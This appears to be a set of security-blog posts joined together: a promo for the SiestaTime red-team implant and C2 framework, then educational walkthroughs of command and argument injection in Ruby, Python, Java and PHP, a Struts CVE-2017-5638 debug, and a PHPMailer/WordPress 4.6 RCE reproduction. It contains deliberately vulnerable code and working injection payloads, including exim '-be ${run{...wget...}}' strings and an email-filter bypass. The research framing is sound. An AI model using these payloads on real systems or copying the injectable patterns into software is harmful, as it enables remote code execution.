Red Team operations require substantial efforts to both create implants and a resilient C2 infrastructure. SiestaTime aims to merge these ideas into a tool with an easy-to-use GUI, which facilitates implant and infrastructure automation alongside its actors reporting. SiestaTime allows operators to provide registrar, SaaS and VPS credentials in order to deploy a resilient and ready to use Red Team infrastructure. The generated implants will blend-in as legitimate traffic by communicating to the infrastructure using SaaS channels and/or common network methods.
Use your VPS/Domains battery to deploy staging servers and inject your favorite shellcode for interactive sessions, clone sites and hide your implants ready to be downloaded, deploy more redirectors if needed. All these jobs/interactions will be saved and reported to help the team members with the documentation process.
SiestaTime is built entirely in Golang, with the ability to generate Implants for multiple platforms, interact with different OS resources, and perform efficient C2 communications. Terraform used to deploy/destroy different Infrastructure.
Beta 1.0 here
Finf the user Guide here
Current Modules/Abilities
Hive: - VPS - AWS - Domain - GO Daddy - SaaS - Gmail API
Stagings: - Droplet - Reverse SSH - MSF Handler: HTTPS Let’s Encrypt - Empire Handler: HTTPS Let’s Encrypt
Reporting: - Basic Reports
Bichito:
Following the thread about Command and Argument Injections, with the objective of gathering all these dangerous functions I proceed with three popular scripting languages used to build webapps. In this time I will present three PoC’s, but the idea is just the same. Payloads to use alongside the install guide will be inside each PoC file, I will focus in the explanation from a source code point of view. This post could appear repetitive, but I try to help attackers and defenders to understand that I can handle in a similar way our software independently of the technology. As you can see not only the solutions are similar, but also the C source code of each language is similarly implemented.
This PoC is built for the ruby scenario using rails framework.
Following the structure from previous PoC’s I have the main controller of the PoC:
mails_controller.rb:
def mailpost
if ((params[:emailFrom] != nil) and (params[:emailTo] != nil) and (params[:body] != nil) and (params[:submit] == 'Command Injection'))
emailTo = params[:emailTo]
emailFrom = params[:emailFrom]
body = params[:body]
payload = "/usr/sbin/sendmail -f" + emailFrom
exec("#{payload}")
#This one is special, we should have control over the entire string, and start with "|" plus commands
#open("#{payload}")
[...]
Ruby has many functions to call a OS process. Between them let’s analyze two:
1.”exec(‘command’)” ==> This command accept an string as input and pass it to the sh/bash interpreter. Without escaping I can break it and perform more commands.
Let’s look at the Ruby C source code as we did in previous PoCs.
/ruby/process.c:
[...]
rb_define_global_function("exec", rb_f_exec, -1);
[...]
rb_f_exec(int argc, const VALUE *argv)
{
VALUE execarg_obj, fail_str;
struct rb_execarg *eargp;
#define CHILD_ERRMSG_BUFLEN 80
char errmsg[CHILD_ERRMSG_BUFLEN] = { '\0' };
int err;
execarg_obj = rb_execarg_new(argc, argv, TRUE);
eargp = rb_execarg_get(execarg_obj);
before_exec(); /* stop timer thread before redirects */
rb_execarg_parent_start(execarg_obj);
fail_str = eargp->use_shell ? eargp->invoke.sh.shell_script : eargp->invoke.cmd.command_name;
rb_exec_async_signal_safe(eargp, errmsg, sizeof(errmsg));
[...]
proc_exec_sh(const char *str, VALUE envp_str)
{
[...]
#else
if (envp_str)
execle("/bin/sh", "sh", "-c", str, (char *)NULL, (char **)RSTRING_PTR(envp_str)); /* async-signal-safe */
else
execl("/bin/sh", "sh", "-c", str, (char *)NULL); /* async-signal-safe (since SUSv4) */
#endif
[...]
Following the different methods calls from the “exec” function to the actual “execle” in the ruby C source code you can see a normal OS process call to “/bin/sh -c” is being performed.
2.”open(‘|command’)” .This one is particularly special. To trigger it I need to use “|” in from of the classic payload.
/ruby/io.c:
rb_define_global_function("open", rb_f_open, -1);
[...]
rb_f_open(int argc, VALUE *argv)
{
ID to_open = 0;
int redirect = FALSE;
if (argc >= 1) {
CONST_ID(to_open, "to_open");
if (rb_respond_to(argv[0], to_open)) {
redirect = TRUE;
}
else {
VALUE tmp = argv[0];
FilePathValue(tmp);
if (NIL_P(tmp)) {
redirect = TRUE;
}
else {
VALUE cmd = check_pipe_command(tmp);
if (!NIL_P(cmd)) {
argv[0] = cmd;
return rb_io_s_popen(argc, argv, rb_cIO);
[...]
check_pipe_command(VALUE filename_or_command)
{
char *s = RSTRING_PTR(filename_or_command);
long l = RSTRING_LEN(filename_or_command);
char *e = s + l;
int chlen;
if (rb_enc_ascget(s, e, &chlen, rb_enc_get(filename_or_command)) == '|') {
VALUE cmd = rb_str_new(s+chlen, l-chlen);
OBJ_INFECT(cmd, filename_or_command);
return cmd;
[...]
Where “open” function is normally use to open files, you can see in the source code that by providing a pipe symbol “|” you are able to call OS processes using the default function popen. This mean that in some situations you will need to try “|payload” to succeed in som ruby command injection scenarios.
On the other hand for the Argument Injection, I needed to perform some changes in the PoC:
[...]
elsif ((params[:emailFrom] != nil) and (params[:emailTo] != nil) and (params[:body] != nil) and (params[:submit] == 'Argument Injection'))
#Even if each element of the payload is escaped to avoid injection of sh elements, the tokenization considers spaces, and we can create extra arguments.
payload = "/usr/sbin/sendmail -f" + emailFrom
tokenizedPayload = payload.gsub(/\s+/, ' ').strip.split(" ")
tokenizedPayload.map {|x| Shellwords.escape(x)}
print tokenizedPayload
IO.popen(tokenizedPayload)
[...]
“IO.popen” accepts directly an string that will be passed to a “/bin/sh” or an array of elements which first argument will be the process to fork alongside with input arguments. Using this, I can create an Argument Injection scenario where Command Injection is not more possible (user Input is being escaped), but yes an Argument Injection. In this one, I had manually tokenized the user input to mimetize correctly a possible similar behaviour by some untrusted code (the tokenization of spaces will be key to create new arguments).
In the python one I will follow the exact same structure.
if (not(emailTo == "") and not(emailFrom == "") and not(body == "") and (submit == 'Command Injection')):
payload = "/usr/sbin/sendmail -f" + emailFrom
#Three ways to invoke commands in Python
#os.system(payload)
os.popen(payload)
#subprocess.call(payload,shell=True)
First, the command injection is performed using “os.popen”. Exactly in the same way that Ruby “exec”, the “os.popen” basically calls a “subprocess.popen” with “Shell=True”. This will create automatically a subprocess with a ‘/bin/sh’ as the source cpython code shows:
/cpython/Lib/os.py
def popen(cmd, mode="r", buffering=-1):
if not isinstance(cmd, str):
raise TypeError("invalid cmd type (%s, expected string)" % type(cmd))
if mode not in ("r", "w"):
raise ValueError("invalid mode %r" % mode)
if buffering == 0 or buffering is None:
raise ValueError("popen() does not support unbuffered streams")
import subprocess, io
if mode == "r":
proc = subprocess.Popen(cmd,
shell=True,
stdout=subprocess.PIPE,
bufsize=buffering)
return _wrap_close(io.TextIOWrapper(proc.stdout), proc)
/cpython/Lib/subprocess.py ```python
class Popen(object):
[…]
self._execute_child(args, executable, preexec_fn, close_fds,
pass_fds, cwd, env,
startupinfo, creationflags, shell,
p2cread, p2cwrite,
c2pread, c2pwrite,
errread, errwrite,
restore_signals, start_new_session) [...]
def _execute_child(self, args, executable, preexec_fn, close_fds,//…
[…]
if shell:
# On Android the default shell is at '/system/bin/sh'.
unix_shell = ('/system/bin/sh' if
hasattr(sys, 'getandroidapilevel') else '/bin/sh')
args = [unix_shell, "-c"] + args
if executable:
args[0] = executable
This is the second post within the category: “CVEReproduction”. This time I will be studying the nature of one of the last more impactful bugs that have made quite noise: S2-046/CVE-2017-5638.
Although there are tons of PoC and exploits already online, and this is not a very recent bug, I was finding quite interesting to analyse it from a source code point of view. This bug is the ‘supposed’ to have been used in the last hack into Equifax. So this maybe will increase the interest to understand it, to attack or to defend web apps.
This PoC has been created using maven software. As easy as running the following command,you could create a simple project:
mvn archetype:generate
You can choose a lot of archetypes. I used ‘struts 2.3.30 blank’ and added a personal struts.xml,Upload.java and some jsp view files (inside PoC folder). Special attention to the struts.xml where we point to use “jakarta-stream” to handle upload of files:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
<constant name="struts.multipart.parser" value="jakarta-stream" />
<constant name="struts.devMode" value="true"/>
[...]
I opened the created project with netbeans and configure the maven actions to proceed with Java debugging (don’t forget to download sources/javadoc of dependencies like struts itself).
By having the source code from dependencies we are able to set breakpoints on them. This will be really useful to debug Java bugs that are been originated in frameworks or 3PP libraries. Following the description from both apache struts (S2-046) and cve.mitre (CVE-2017-5638), I could understand that the bug is happening in “JakartaStreamMultiPartRequest”. Let’s look at the java source code:
/struts-2.3.30/src/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaStreamMultiPartRequest.java:
[...]
private void processUpload(HttpServletRequest request, String saveDir)
throws Exception {
// Sanity check that the request is a multi-part/form-data request.
if (ServletFileUpload.isMultipartContent(request)) {
// Sanity check on request size.
boolean requestSizePermitted = isRequestSizePermitted(request);
// Interface with Commons FileUpload API
// Using the Streaming API
ServletFileUpload servletFileUpload = new ServletFileUpload();
FileItemIterator i = servletFileUpload.getItemIterator(request);
[...]
// Delegate the file item stream for a file field to the
// file item stream handler, but delegation is skipped
// if the requestSizePermitted check failed based on the
// complete content-size of the request.
else {
// prevent processing file field item if request size not allowed.
// also warn user in the logs.
if (!requestSizePermitted) {
addFileSkippedError(itemStream.getName(), request);
LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
continue;
}
processFileItemStreamAsFileField(itemStream, saveDir);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
A breakpoint in ‘processUpload’ method looks promising. So let’s set that breakpoint and prepare burp to replay requests(remember to disable content-length autoadjust). Using burp I can replay some basic payload to the target PoC:
POST /VulnerableApp/thiscouldnotmatter HTTP/1.1
Host: localhost:8080
Content-Length: 1000000000
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/doUpload
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{payload}"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--
Second chapter of “TheoricalPractise”, in this time we focus in JAVA. In the same way we did in Php:CommandI&ArgumentI, we are going to exploit the basic dangerous functions to perform system commands in JAVA.
The PoC have the same properties that the one in PHP, it is made using spring framework.
If we look at the previous PoC for PHP, we can realize the first difference: PHP dangerous functions call a sh/bash/cmd by default, but JAVA doesn’t. Java on the other hand perform a fork() of the given command to create a child process and pass to it the given arguments. We can see the difference looking at the source code of both languages:
Let’s pick proc_open() from PHP, as we can see a sh is being called and arguments are being passed to it,
php-src/ext/standard/proc_open.c:
/* proto resource proc_open(string command, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]])
Run a process with more control over it's file descriptors */
PHP_FUNCTION(proc_open)
{
char *command, *cwd=NULL;
size_t command_len, cwd_len = 0;
[...]
if (env.envarray) {
execle("/bin/sh", "sh", "-c", command, NULL, env.envarray);
} else {
execl("/bin/sh", "sh", "-c", command, NULL);
}
[...]
If we follow the calls from ProcessBuilder().start() using openjdk source…
OpenJDK8u/jdk-3462d04401ba/src/share/classes/java/lang/ProcessBuilder.java:
public Process start() throws IOException {
[...]
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
[...]
OpenJDK8u/jdk-3462d04401ba/src/solaris/classes/java/lang/ProcessImpl.java:
static Process start(String[] cmdarray,
java.util.Map<String,String> environment,
String dir,
ProcessBuilder.Redirect[] redirects,
boolean redirectErrorStream)
[...]
return new UNIXProcess
(toCString(cmdarray[0]),
argBlock, args.length,
envBlock, envc[0],
toCString(dir),
std_fds,
redirectErrorStream);
[...]
OpenJDK8u/jdk-3462d04401ba/src/solaris/classes/java/lang/UNIXProcess.java:
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,
byte[] argBlock, int argc,
byte[] envBlock, int envc,
byte[] dir,
int[] fds,
boolean redirectErrorStream)
[...]
UNIXProcess(final byte[] prog,
final byte[] argBlock, final int argc,
final byte[] envBlock, final int envc,
final byte[] dir,
final int[] fds,
final boolean redirectErrorStream)
throws IOException {
pid = forkAndExec(launchMechanism.ordinal() + 1,
helperpath,
prog,
argBlock, argc,
envBlock, envc,
dir,
fds,
redirectErrorStream);
[...]
Finally we arrive to the C source code (forkAndExec, a JAVA native function in C), the main process is being called using the different fork() depending of the Operating System,
OpenJDK8u/jdk-3462d04401ba/src/solaris/native/java/lang/UNIXProcess_md.c:
Java_java_lang_UNIXProcess_forkAndExec(JNIEnv *env,
jobject process,
jint mode,
jbyteArray helperpath,
jbyteArray prog,
jbyteArray argBlock, jint argc,
jbyteArray envBlock, jint envc,
jbyteArray dir,
jintArray std_fds,
jboolean redirectErrorStream)
{
[...]
resultPid = startChild(env, process, c, phelperpath);
assert(resultPid != 0);
if (resultPid < 0) {
switch (c->mode) {
case MODE_VFORK:
throwIOException(env, errno, "vfork failed");
break;
case MODE_FORK:
throwIOException(env, errno, "fork failed");
break;
case MODE_POSIX_SPAWN:
throwIOException(env, errno, "spawn failed");
break;
}
[...]
This could be understood as an ultimate solution to avoid Command Injection attacks in Java, but the true thing is in a lot of situations developers will need call a sh/bash/cmd process to execute some scripts among other reasons. When this happens, as we can see in the first section of my PoC, Command Injection will be totally possible:
if ( ("Command Injection".equals(submit)) ){
//We are passing strings without control to a sh/bash/cmd interpreter ==> Command Injection
String[] cmd = new String[]{"/bin/bash","-c","/usr/sbin/sendmail -f"+emailFrom};
Runtime.getRuntime().exec(cmd);
//Same as Exec
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.start();
By providing something like this Payload in the “emailFrom” input we can inject code without problems:
ss@email.com;wget http://127.0.0.1/test
ss@email.com|wget http://127.0.0.1/test
[...]
We can check the logs of a running local server to see the correct execution of “wget”.
In this section we will not apply any special function to escape elements. The own natura of these two dangerous functions can provide us the protections to avoid Command Injection. But What happens with Argument Injection? To answer this question we can look at the Definitions of both functions, and what inputs they accepts.
A. ProcessBuilder.java:
As we can see in the Definition, ProcessBuilder accept an String[] or a List of Strings. These elements define the process to call as the one in the first position of the array/List, and the rest as separate arguments.
This mean, that if we are receiving an input String from a malicious user, we could not exploit the “spaces” anymore,since they will be just interpreted as a whole argument. The only way to implement this will be by intentionally tokenizing spaces from a whole userInput String and create the right String[].
But, Who is going implement something that tokenize a String that could be crafted with an userInput? Certainly some 3PP could do this and call after it a ProcessBuilder, but we have in front of us a more obvious approach.
B. Runtime.java:
Between the different inputs that exec method accepts, we can see here that a basic String input is accepted. But how this work? And where this String ends?
Let’s look at the Runtime.java source code,
OpenJDK8u/jdk-3462d04401ba/src/share/classes/java/lang/Runtime.java:
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
[...]
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
[...]
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
So Runtime.java is really close to ProcessBuilder.java (since it is calling it in last instance), but doing “something else”. Tokenizing a String input into a String[], taking in account spaces to separate arguments of a process call.
Taking account the spaces in a userInput String, without control, is equal to an Argument Injection.
}else if( ("Argument Injection".equals(submit)) ){
//We are invoking an process without calling a sh/bash/cmd interpreter. But Still, thanks to Runtime.java
//tokenizer, we are able to inject extra arguments to target process.
String cmd = "/usr/sbin/sendmail -f" + emailFrom;
Runtime.getRuntime().exec(cmd);
By providing something like this Payload in the “emailFrom” input we can inject code without problems:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
We can check the logs of a running local server to see the correct execution of “wget”.
As a Defender let’s try to use ProcessBuilder to perform system calls. If we need to use for some reason sh/bash/cmd, we should escape correctly the input to avoid injections. Something like escapeshellcmd/escapeshellarg in PHP.
As an Attacker, we should look to the different functions/features of target application to spot the obvious use of these system calls, and try different payloads. Response errors with particular codes like 500 after using special crafted inputs could help us to spot these functions. From a targeted point of view, understand the technology ahead and possible vulnerable 3PP software could be the opportunity to exploit target app.
Special thanks to Pierre Ernst for his help
This is the first post within the category: “CVEReproduction”. In these series I will use existing reported CVE’s or vulnerabilities and try to reproduce it correctly. The objective here is to use learned Attack Vectors in “TheoricalPractise” and to see how this works in real software. As in the previous Sections, this will be always supported by a PoC using vulnerable software. Inside Poc Section we have everything we need to reproduce it, and the vulnerable code/software.
PHPMailer PoC is very similar to Php:CommandI&ArgumentI. First function is using PHP mail() and second one is using the default PHPMailer configuration to send an email. To test the Wordpress vulnerability we will need old wordpress 4.6 and an old apache server version (tested on Ubuntu 10.04/apache 2.2.14).
In the last post we talked about the different dangerous functions that can be prone to Command Injection and Argument Injection. Those are obvious dangerous functions, but sometimes, programming languages provide us with more functions that we don’t know yet that could be unsafe. Developers doesn’t know sometimes this as well when they are coding, or they don’t know the 100% functionailities of some functions (something we can extend to the use of any third party library software). This ‘new’ dangerous function is the basic mail function in PHP. This function receive a bunch of parameters as we can see in the PHP 7 source code.
php-7.1.6/ext/standard/mail.c:
PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd)
{
[...]
#endif
}
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
#if PHP_SIGCHILD
/* Set signal handler of SIGCHLD to default to prevent other signal handlers
* from being called and reaping the return code when our child exits.
* The original handler needs to be restored after pclose() */
sig_handler = (void *)signal(SIGCHLD, SIG_DFL);
if (sig_handler == SIG_ERR) {
sig_handler = NULL;
}
#endif
#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif
if (extra_cmd != NULL) {
efree (sendmail_cmd);
}
[...]
In first instance, after look at this C code we can think that “popen” as a dangerous function in C, is being called without any kind of precaution. A test using our previous “commandebugger” bash script shows a funny result (more about of commandebugger tool here).
Payload in emailFrom:
ss@email.com;wget http://127.0.0.1/test
Result catched by commanddebugger:
Received: /usr/sbin/sendmail
Received: -fss@email.com;wget
Received: http://127.0.0.1/test
As we can see,the input is being escaped to avoid the injection of shell meta-characters, but is leaving the opportunity to add extra Arguments/Options to the sendmail binary. The escaping code is found also in mail.c file:
php-7.1.6/ext/standard/mail.c:
[...]
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
}
[...]
Although mail() is not vulnerable to Command Injection, Argument Injection is possible (as a functionality pointed by the same name ‘extra_arguments’). The use of mail() wildy in other libraries/software without precaution will be hazardous. We can consider mail() a dangerous function and I have added it to Research-Guide.
To demonstrate this, let’s apply a working payload in the PHP mail function and see how it works (using our commandebugger bash script). Let’s use the last payload from PHP Argument Injection, since we know is being ‘CommandI escaped’, let’s use the working payload for the Argument Injection:
Payload:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Debugger output:
root@ubuntu:/home/ubuntu# cat /tmp/outgoing-command
Received: /usr/sbin/sendmail
Received: -fss@email.com
Received: -be
Received: ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Received:
Received:
As we can see this will perform correctly the Argument Injection over an uncontrolled PHP mail() function.
Now we have explained the dangerous use of mail() in PHP, let’s talk about real playgrounds: PHPMailer. This third party library help developers to send emails with a lot of different configurations, we can install it in our PHP projects using for example PHP composer. As we can see in this PoC, second option/button send an email by crafting a PHPMailer object with default configurations:
\poc.php
[...]
$mail = new PHPMailer;
$mail->setfrom($emailFrom,'Bob');
//$mail->From = $emailFrom; ==> If we use this, Sender will be empty.
$mail->addAddress($emailTo, 'Alice');
$mail->Body = $body;
error_log($mail->Sender,0);
if(!$mail->send()) {
[...]
Let’s look deeper at what is happening inside PHPMailer when we create the PHPMailer object and we trigger the method ‘send’ with minimum/default configurations:
/phpmailer/class.phpmailer.php
1.’Send’ method is called from object ‘PHPMailer’:
[...]
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
[...]
2.PostSend() is called within send():
[...]
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
[...]
3.Default configurations of the PHPMailer object will trigger method ‘mailSend’:
[...]
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
error_log($this->Sender,0);
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
[...]
Carefully let’s see how $params variable is passed into ‘mailPassthru’ without any kind of Argument Injection Escaping. Also is very important for later the fact that “Sender” attribute is present in the PHPMailer object. If Sender attribute is not present, extra parameters will not be crafted alongside with the dangerous input “emailFrom”.
Sender attribute will be set automatically set by some methods like “setfrom()”:
[...]
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
[...]
But if developer decides to set PHPMailer attributes by hand, and forgot about Sender, function will stop to be vulnerable (since mailsend() will not feed mail() with ‘extraParams’).
4.At last we arrive to mailPassthru(). The function in PHPMailer that calls PHP mail().
[...]
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
[...]
In first instance, it looks like we can just use the same payload that we used for mail() but we can see that is not working conrrectly:
Payload:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Commandebugger:
Received: /usr/sbin/sendmail
Received:
Received:
Received:
Extra parameters are being blocked, this is due to the ‘email Format’ filter applied by PHPMailer in “presend()” function:
[...]
public static function validateAddress($address, $patternselect = null)
{
[...]
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
[...]
Fortunately, LegalHackers studied ways to bypass this blockage using as reference the email RFC where we should be able to use spaces (This is very well explained by them, the link in the References Section). They have gave us information about how to bypass ‘pcre8’ email filter. If other filter pattern is used in PHPMailer, the exploit will not work correctly.
Payload:
email@dd(tmp1 -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}} tmp2)
Commandeugger:
Received: /usr/sbin/sendmail
Received: -femail@dd(tmp1
Received: -be
Received: ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Received: tmp2)
Finally we have a working exploit for CVE-2016-1033, when attacker has access to the ‘emailFrom’ input.
When a common used third party library as PHPMailer get compromised, a lot of softwares could get bitten by the exploit. Wordpress 4.6 was one of them. In this last section we are going to exploit it, reviewing the source code of Wordpress to understand exactly what is going on. For this, no PoC have been created, because we will use directly a vulnerable version of wordpress instead. Pre-requisites for this to work are here.
Following the existing RCE documentation, we know that the vulnerable parameter is the Hostname HTTP Header in the “lostpassword” function of wordpress 4.6
wordpress4.6/wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
[...]
$phpmailer->setFrom( $from_email, $from_name);
As we can see, ‘$from_email’ is being crafted using the ‘SERVER_NAME’ that actually comes from the cited HTTP HOST Header.
Natural thing to do will be testing the same payload we did in previous PoC but erasing the “email@” part from it. Let’s see what happens (we need to use some script or proxy tool):
Payload: dd(tmp1 -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}} tmp2)
Bad request is being responded. Apache Server will not let us to put that HOSTNAME Header with ‘/’ symbols. Fortunately, again, LegalHackers have resolved this problem by studying the env. variables from exim4 (more information in suggested posts). Once again we perform the Request with the valid payload:
Payload:
ddd.com(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}192.168.122.154${substr{0}{1}{$spool_directory}}test}} tmp2)
Commandebugger:
Received: /usr/sbin/sendmail
Received: -t
Received: -i
Received: -fwordpress@ddd.com(tmp1
Received: -be
Received: ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}192.168.122.154${substr{0}{1}{$spool_directory}}test}}
Received: tmp2)
Received:
It is important to point that modern versions of Apache Server will not let to put in HOSTNAME even spaces…so the Payload will not work in modern versions of it.
Now last question is: Why this doesn’t work in previous versions of Wordpress? Why only 4.6?
wordpress4.5/wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
$phpmailer->From = apply_filters( 'wp_mail_from', $from_email );
We spoke before about this subject. In previous version of Wordpress ‘setAddress()’ is not being used, instead the PHPMailer object is being accessed manually. This will disable the ‘extra_params’ option, and spoil our opportunity to exploit it (since ‘Sender’ is not being set).
As a Defender let’s update our software and third party libraries. For example, by having either a latest version of PHPMailer,Wordpress or even Apache Server, the last RCE for wordpress 4.6 will not be possible.
As an Attacker if we know the target web application is running PHP and we have access to a ‘emailFrom’ parameter in any function as ‘contactme,forgetpassword,etc…’ it will worth the shot to try this. Knowing the target used technology is an useful tool to hack into it.
This is the first post within the category: “Theoretical Practise”. In these series I will use information available in the Internet to build a working Proof of Concept and to test dangerous functions in different languages with the objective to understand basic Web Exploitation vectors. In this chapter, I have built a Proof of Concept in relation to the exploitation of Command Injection and Argument Injection, using PHP language. Existent PoC can be (found or obtained) here
